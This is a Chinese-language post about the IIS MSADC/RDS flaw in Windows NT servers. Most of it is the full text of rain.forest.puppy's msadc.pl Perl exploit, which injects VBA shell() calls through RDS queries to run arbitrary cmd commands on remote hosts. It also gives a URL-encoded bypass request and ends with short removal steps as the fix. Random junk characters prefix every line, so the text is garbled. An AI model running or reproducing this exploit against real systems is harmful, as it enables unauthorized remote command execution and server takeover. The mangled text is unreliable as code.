IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K|-m6!C!7 l7^^Mnk C 涉及程序：
7]T(=gg / Microsoft NT server
7I"~a<f0X` Y)5O %@Rl 描述：
NiW9/(;x B 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
uK"FopUJ4i
wLqj<ot 详细：
!o_eK \p 如果你没有时间读详细内容的话，就删除:
Komdz/g c:\Program Files\Common Files\System\Msadc\msadcs.dll
tm= ,x~ 有关的安全问题就没有了。
eUB!sR% Y!_c/ !Tx 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
hB.8\-}QMq !'F1Ht 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
26 72oFD 关于利用ODBC远程漏洞的描述，请参看:
XL.f `N .O u _9c> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x} c } f&=} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2xO [ ?fR http://www.microsoft.com/security/bulletins/MS99-025faq.asp Qr~!YPK\ jF}kV%E 这里不再论述。
PLs`Ci|` `Tyd1!~ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1Xm>nF~ Q}lCQK/g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Tf]ou5 | 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Ru*gbv,U
a }FyJp JP6 Noia #将下面这段保存为txt文件，然后: "perl -x 文件名"
wW\@^5 8YlZ({f #!perl
c]#}#RJ`\ #
! Ea! "} # MSADC/RDS 'usage' (aka exploit) script
z!bT^_Cc0 #
-sJD:G,% # by rain.forest.puppy
>\?
z,Nin #
|au`ph5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B?8*-0a'[ # beta test and find errors!
v8y Cf7+" HSG Ln906 use Socket; use Getopt::Std;
,Owk;MV@ getopts("e:vd:h:XR", \%args);
67 Pmnad t}h(j| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
WcKDerc I P# vfM if (!defined $args{h} && !defined $args{R}) {
~s Hd OMw print qq~
eu$VKLY* Usage: msadc.pl -h <host> { -d <delay> -X -v }
~$T>,^K
y -h <host> = host you want to scan (ip or domain)
Lr*PbjQDIY -d <seconds> = delay between calls, default 1 second
C $+Q,guM -X = dump Index Server path table, if available
_yN5sLLyb -v = verbose
W1"NKg~4 -e = external dictionary file for step 5
`Pj7:[."[ %pjeA[-m# Or a -R will resume a command session
d6tLC Q m-Jy
4f# ~; exit;}
B;=Z^$%T h?n?3x!( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E<3xv;v8r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`
wEX; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
| wuTw| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ma*#* 4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
mq4Zy3H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o}KVT% }
p )JR5z if (!defined $args{R}){ $ret = &has_msadc;
#bt f|\D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2H9hN4 N ^|F y!kp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
fG>3gS6& . "cmd /c ";
sd%) g<t $in=<STDIN>; chomp $in;
COHBju fmR $command="cmd /c " . $in ;
A8mc+ Bf( >e6 OlIW if (defined $args{R}) {&load; exit;}
=
>TU XTF[4#WO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'62_q 8: &try_btcustmr;
=bD .5 ,F) oA- ,>:}g{ print "\nStep 2: Trying to make our own DSN...";
l]zQSXip &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
I[K4/91 au50%sA~
print "\nStep 3: Trying known DSNs...";
v^o`+~i &known_dsn;
nrev!h lJFy(^KQG, print "\nStep 4: Trying known .mdbs...";
^rq\kf*] &known_mdb;
`O2P&!9& Psx"[2iZm if (defined $args{e}){
\)u A:v print "\nStep 5: Trying dictionary of DSN names...";
@u/CNx,`X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D
)` ( b qdpi-*2 print "Sorry Charley...maybe next time?\n";
| VaJ70\o exit;
GP4!t~"1 v?]a tb/h` ##############################################################################
Wu{_QuAB B$2GEg]Ri sub sendraw { # ripped and modded from whisker
YL|)`m0-^5 sleep($delay); # it's a DoS on the server! At least on mine...
yKj}l,i~8 my ($pstr)=@_;
Co(N8>1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
cFq<x=S die("Socket problems\n");
].J;8} if(connect(S,pack "SnA4x8",2,80,$target)){
%Jh( 5 select(S); $|=1;
00i MU print $pstr; my @in=<S>;
&':C"_|&r select(STDOUT); close(S);
*8,W$pe3 return @in;
P]^OSPRg } else { die("Can't connect...\n"); }}
dO z|CfUhI sk9Ejaf6> ##############################################################################
Vv(buG T\p>wiY2|F sub make_header { # make the HTTP request
O6?{@l my $msadc=<<EOT
<FBH;} ] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/# Jvt User-Agent: ACTIVEDATA
ba G_7>Q9H Host: $ip
a" YVr'| Content-Length: $clen
zOSUYn Connection: Keep-Alive
p : z ][I j$_?g!I=gK ADCClientVersion:01.06
.^=I&X/P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#'KM$l,P |(W wh$ --!ADM!ROX!YOUR!WORLD!
R2~y<^.V`Y Content-Type: application/x-varg
3t+{~{Dj Content-Length: $reqlen
m_Ed[h/I iT{4-j7|P4 EOT
V#$QKn`; ; $msadc=~s/\n/\r\n/g;
,m`&J? return $msadc;}
YC 4c-M >H;m [ ##############################################################################
/y {fDCC ~cp=B>*( sub make_req { # make the RDS request
,8Q0AkG my ($switch, $p1, $p2)=@_;
'+$r7?dKP my $req=""; my $t1, $t2, $query, $dsn;
T=pP
W^^0Rh_ if ($switch==1){ # this is the btcustmr.mdb query
S[9b
I&C $query="Select * from Customers where City=" . make_shell();
".|8 (Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r1IvA^X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8i;drvf VFZyWX@#u elsif ($switch==2){ # this is general make table query
.{I LeG $query="create table AZZ (B int, C varchar(10))";
~.^:?yCA $dsn="$p1";}
.4E24FB[f? f eB ?
elsif ($switch==3){ # this is general exploit table query
]7k:3"wH $query="select * from AZZ where C=" . make_shell();
P]^8Enp $dsn="$p1";}
lGp:rw` N9d^;6;i elsif ($switch==4){ # attempt to hork file info from index server
g&p(Xu N $query="select path from scope()";
0&NM=~ $dsn="Provider=MSIDXS;";}
y~]D402Cx S"Vr+x? elsif ($switch==5){ # bad query
:,p3&2 I $query="select";
u y"i3xD6- $dsn="$p1";}
y'2w*? y=\&z&3$ $t1= make_unicode($query);
9HN &M *} $t2= make_unicode($dsn);
bt1 bTo $req = "\x02\x00\x03\x00";
UK^w;w2F $req.= "\x08\x00" . pack ("S1", length($t1));
_Fj\0S" $req.= "\x00\x00" . $t1 ;
BR@gJ(2 $req.= "\x08\x00" . pack ("S1", length($t2));
l<=k#d $req.= "\x00\x00" . $t2 ;
YG*<jKcX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
n)a/pO_ return $req;}
T7ShE-X _+)OL- ##############################################################################
d=+zOF
l8+1{6xP sub make_shell { # this makes the shell() statement
7`L]aRS[ return "'|shell(\"$command\")|'";}
)N^fSenFBn =HM CNl
##############################################################################
n@kJ1ee' -u~:Gd*l0 sub make_unicode { # quick little function to convert to unicode
W=S^t_ F my ($in)=@_; my $out;
GfP' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
A6_ER&9$>N return $out;}
%<Qv?`B gJwX ##############################################################################
|,n(9Ix f9_Pn'"I sub rdo_success { # checks for RDO return success (this is kludge)
b?Q$UMAbH my (@in) = @_; my $base=content_start(@in);
wDiq~! if($in[$base]=~/multipart\/mixed/){
?t\GHQ$$? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
rFC9y o return 0;}
ScInOPb'K 2HE<WI^#h ##############################################################################
.aWwJZ=[ (mi=I3A( sub make_dsn { # this makes a DSN for us
Gz\wmH&rVz my @drives=("c","d","e","f");
\N? lG q print "\nMaking DSN: ";
1M_6X7PH foreach $drive (@drives) {
It 3@
Cd> print "$drive: ";
1$ }Tn my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
e5FF'~A%] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Y~( 8<`^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2^5RQl/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{Ho _U&< return 0 if $2 eq "404"; # not found/doesn't exist
Ygfy;G% if($2 eq "200") {
~|{e"!(} foreach $line (@results) {
{KTZSs $n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
A #pH$s } return 0;}
3,#qt}8`
0lqh;/ ##############################################################################
-ImO y| i[3 3u p sub verify_exists {
's"aPqF? my ($page)=@_;
E'+z.~+
my @results=sendraw("GET $page HTTP/1.0\n\n");
Q R dtr return $results[0];}
4rCw#mV tB @1k-h;`, ##############################################################################
Frx_aGLH1 / 8dRql-Ne sub try_btcustmr {
,Wd+&|Q my @drives=("c","d","e","f");
[8DPZU@ my @dirs=("winnt","winnt35","winnt351","win","windows");
}ew )QH d qw|B-lT{: foreach $dir (@dirs) {
2B6y1" B print "$dir -> "; # fun status so you can see progress
{Aj=Rj@ foreach $drive (@drives) {
Xe
^NVF print "$drive: "; # ditto
s/;S2l$ ` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Fkqw #s(T $reqlenlen=length( "$reqlen" );
U;
#v-'Z $clen= 206 + $reqlenlen + $reqlen;
b9E b" [4])\q^q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\H PB{
; if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(c3O> *M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^|h.B$_F, j->5%y ##############################################################################
a|dn3R>vX FYg{IKg sub odbc_error {
ob)c0Pz my (@in)=@_; my $base;
PC,I"l my $base = content_start(@in);
RbA.&=3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7;#o?6!7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>\lBbq a#
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7Sycy#D $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_4lKd` return $in[$base+4].$in[$base+5].$in[$base+6];}
/dR:\ffz2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
kf' 4C
"} print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
IV`+B<3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&x4|! " G Wjd_|K ui ##############################################################################
@# p{, L ~f 8:sDJ sub verbose {
DnB :~&Dw my ($in)=@_;
x)kp*^/ return if !$verbose;
%wq;<'W print STDOUT "\n$in\n";}
&x[V<Gq %F0.TR!!n ##############################################################################
DL '{
rK UtB~joaR sub save {
ukee.:{ my ($p1, $p2, $p3, $p4)=@_;
FbD9G6h5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^"J)^3j< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}SW>ysw'm close OUT;}
O
0P4uq EHq?yj; ##############################################################################
N<HJ}geC " H|d"45J_ sub load {
RDu{U (! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>
a 8'MK open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ZlL]AD@ @p=<IN>; close(IN);
Z~g7^,-t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Bh q]h $target= inet_aton($ip) || die("inet_aton problems");
J}VG4}L print "Resuming to $ip ...";
_GL :4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=|3*Y0 if($p[1]==1) {
t "[2^2G $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0 SDyE $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MB?762 Q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Dgz^s^fxU if (rdo_success(@results)){print "Success!\n";}
E*UE?4FSw| else { print "failed\n"; verbose(odbc_error(@results));}}
JHs xaX;c elsif ($p[1]==3){
`+T"^{
Z if(run_query("$p[3]")){
wvEdZGO8! print "Success!\n";} else { print "failed\n"; }}
rhwjsC6 elsif ($p[1]==4){
z
dU Smb if(run_query($drvst . "$p[3]")){
U j)`(}r print "Success!\n"; } else { print "failed\n"; }}
'iEu1! t\0 exit;}
yRldP k_ -j}zr yG- ##############################################################################
4Mv] z^ k4~2hD<| sub create_table {
9.l*#A^
my ($in)=@_;
5wm(gF_t $reqlen=length( make_req(2,$in,"") ) - 28;
k :`yxxYIh $reqlenlen=length( "$reqlen" );
~|8-Mo1ce $clen= 206 + $reqlenlen + $reqlen;
Ibu 5 my @results=sendraw(make_header() . make_req(2,$in,""));
p) m0\ return 1 if rdo_success(@results);
9h0Y">}`b my $temp= odbc_error(@results); verbose($temp);
7^]KQ2fF
8 return 1 if $temp=~/Table 'AZZ' already exists/;
YyD0g9{ return 0;}
]9$^=z%SE t``q_!s}F ##############################################################################
w@hbY:Z9z iiTt{ab\Y sub known_dsn {
h5
PZ?Zd # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
N9BfjT} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)8JM.:, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
L<ET"&b;4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
L-Pq /x2r )s> R~7 foreach $dSn (@dsns) {
HV8=b"D" print ".";
7E\k97#G next if (!is_access("DSN=$dSn"));
OCbwV7q: if(create_table("DSN=$dSn")){
KWi P`h8 print "$dSn successful\n";
eDS, }Z' if(run_query("DSN=$dSn")){
C "g bol^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9 wP,Z" print "Something's borked. Use verbose next time\n";}}} print "\n";}
vW`[CEm^X RfzYoB N ##############################################################################
}<=_&n =r>u'wRQ sub is_access {
Q-y`IPtA< my ($in)=@_;
7Nlk:f)*- $reqlen=length( make_req(5,$in,"") ) - 28;
^_G@a, $reqlenlen=length( "$reqlen" );
`E8D5'tt $clen= 206 + $reqlenlen + $reqlen;
XW q@47FR my @results=sendraw(make_header() . make_req(5,$in,""));
RZqou|ki my $temp= odbc_error(@results);
tk!5"`9N verbose($temp); return 1 if ($temp=~/Microsoft Access/);
S0!w]Ku return 0;}
`clp#l.ii K4Hu0 ##############################################################################
7&vDx=W Q4F&#^02y sub run_query {
#=
@?)\~ my ($in)=@_;
g0:{{ w $reqlen=length( make_req(3,$in,"") ) - 28;
;>< m[ l6 $reqlenlen=length( "$reqlen" );
}sW%i#CV $clen= 206 + $reqlenlen + $reqlen;
9
f= ~E8P my @results=sendraw(make_header() . make_req(3,$in,""));
zAH6SaI$ return 1 if rdo_success(@results);
J3_Ou2cF` my $temp= odbc_error(@results); verbose($temp);
;_p!20.( return 0;}
ZFRKzPc
{V o8u;2gZx ##############################################################################
V3q [ $~9 7( C:ty9 sub known_mdb {
7,5Bur my @drives=("c","d","e","f","g");
V$3`y=8 my @dirs=("winnt","winnt35","winnt351","win","windows");
WGHf?G/s my $dir, $drive, $mdb;
nG0 R1< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lYhC2f
m_ c]R27r E # this is sparse, because I don't know of many
#N;McF;W my @sysmdbs=( "\\catroot\\icatalog.mdb",
!TLJk]7uC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y'm5Z-@o6 "\\system32\\certmdb.mdb",
'>[Ut@lT; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
W(Rp@=!C /n1L},67h my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9E}JtLg T "\\cfusion\\cfapps\\forums\\forums_.mdb",
7R$O ~R3p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
x%T.0@!8 "\\cfusion\\cfapps\\security\\realm_.mdb",
*1,4#8tB "\\cfusion\\cfapps\\security\\data\\realm.mdb",
z8cefD9F "\\cfusion\\database\\cfexamples.mdb",
~ {-9qOGw; "\\cfusion\\database\\cfsnippets.mdb",
ry0YS\W "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
kbZpi`w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T}59m;I "\\cfusion\\brighttiger\\database\\cleam.mdb",
rG3?Z^&R+ "\\cfusion\\database\\smpolicy.mdb",
1H \ "\\cfusion\\database\cypress.mdb",
&1Z UMc "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
sq?js#C5 "\\website\\cgi-win\\dbsample.mdb",
DcN!u6sJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
UHR%0ae "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H
h35 cj ); #these are just
v H/RP foreach $drive (@drives) {
yX/{ eX5dr foreach $dir (@dirs){
b*1yvkX5 foreach $mdb (@sysmdbs) {
8 ^sh@j2L print ".";
z! :0%qu if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
fGoJP[ae print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5&qBG@Hw] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Z?u}?-b1\H print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^G4@ cR.An } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z{x)v5yh2V % _nmv foreach $drive (@drives) {
zxkO&DGRbN foreach $mdb (@mdbs) {
IZs& 7 print ".";
_ Y7 Um if(create_table($drv . $drive . $dir . $mdb)){
\}W ! print "\n" . $drive . $dir . $mdb . " successful\n";
zwk& 3 if(run_query($drv . $drive . $dir . $mdb)){
D>0(*O print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<!F".9c@ A } else { print "Something's borked. Use verbose next time\n"; }}}}
n;wViw }
N5zx# g `\GR Y @cg ##############################################################################
nDyA][ (__$YQ - sub hork_idx {
88l1g, `** print "\nAttempting to dump Index Server tables...\n";
NS-0-o|4# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xjD . "q $reqlen=length( make_req(4,"","") ) - 28;
)!~,xl^j{} $reqlenlen=length( "$reqlen" );
HuR774 f[ $clen= 206 + $reqlenlen + $reqlen;
|AS~sjWSJ my @results=sendraw2(make_header() . make_req(4,"",""));
nw(R=C if (rdo_success(@results)){
kW0ctGFYlf my $max=@results; my $c; my %d;
n|Ts:>`V for($c=19; $c<$max; $c++){
sDA P'& $results[$c]=~s/\x00//g;
$9P= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
(2UA , $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-[}Aka,f! $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
m^
Epw4eg $d{"$1$2"}="";}
H3 -?cy foreach $c (keys %d){ print "$c\n"; }
QAAuFZs } else {print "Index server doesn't seem to be installed.\n"; }}
+\$c_ 9|C+ z[6avW"q ##############################################################################
e4|a^lS; suE8"v!sk sub dsn_dict {
e N v\ZR1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
gu:vf/ while(<IN>){
;" Aj80 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
#+i:s92], next if (!is_access("DSN=$dSn"));
6l T< l zT if(create_table("DSN=$dSn")){
) O5@R print "$dSn successful\n";
rT\~VJ>+i if(run_query("DSN=$dSn")){
Y% JE}) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%|D) U>o{ print "Something's borked. Use verbose next time\n";}}}
"?<(-,T print "\n"; close(IN);}
~f"3Wa*\ B HB`'S7Q ##############################################################################
:!h O9ho g9CedD%40 sub sendraw2 { # ripped and modded from whisker
pU'${Z~b sleep($delay); # it's a DoS on the server! At least on mine...
2vU -9p { my ($pstr)=@_;
$2+s3) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&*Xrh7 K2e die("Socket problems\n");
OQ4Pk/-' if(connect(S,pack "SnA4x8",2,80,$target)){
QO0@A x\b print "Connected. Getting data";
:,M+njcFc open(OUT,">raw.out"); my @in;
9HEqB0|ZRu select(S); $|=1; print $pstr;
ycSGv4
) while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
!#~KSO}zW2 close(OUT); select(STDOUT); close(S); return @in;
`Tf}h8* } else { die("Can't connect...\n"); }}
QAt]sat _>n)HG ##############################################################################
-#mN / %hN(79:g sub content_start { # this will take in the server headers
?@Q0;L G my (@in)=@_; my $c;
_|W&tB * for ($c=1;$c<500;$c++) {
S=lCzL;j" if($in[$c] =~/^\x0d\x0a/){
.c&&@>m@. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(F 9P1I q else { return $c+1; }}}
x;`G n_ return -1;} # it should never get here actually
Z,/^lg c, +nHr+7} ##############################################################################
F(zCvT ]f?r@U'AS| sub funky {
SvQ|SKE': my (@in)=@_; my $error=odbc_error(@in);
H }]Zp if($error=~/ADO could not find the specified provider/){
S7WHOr9XMV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
xf/K+ exit;}
\y% "tJ~N{ if($error=~/A Handler is required/){
\At ~94 print "\nServer has custom handler filters (they most likely are patched)\n";
n1 GX` K exit;}
a'/C)fplL if($error=~/specified Handler has denied Access/){
e$P^},0/ print "\nServer has custom handler filters (they most likely are patched)\n";
4M> pHz4 exit;}}
&WL N Er|&4-9 ##############################################################################
}!k?.(hpE '3U,UD5EG sub has_msadc {
!/ tV}.* my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
X Db% - my $base=content_start(@results);
-,YI>! return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
-^yc<%U return 0;}
U Lu@" qTRP2rH,L& ########################
Te~ jYkCd &=*1[ j\ =OtW!vx#R. 解决方案：
}~=<7| N. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ks("(
nU 2、移除web 目录: /msadc
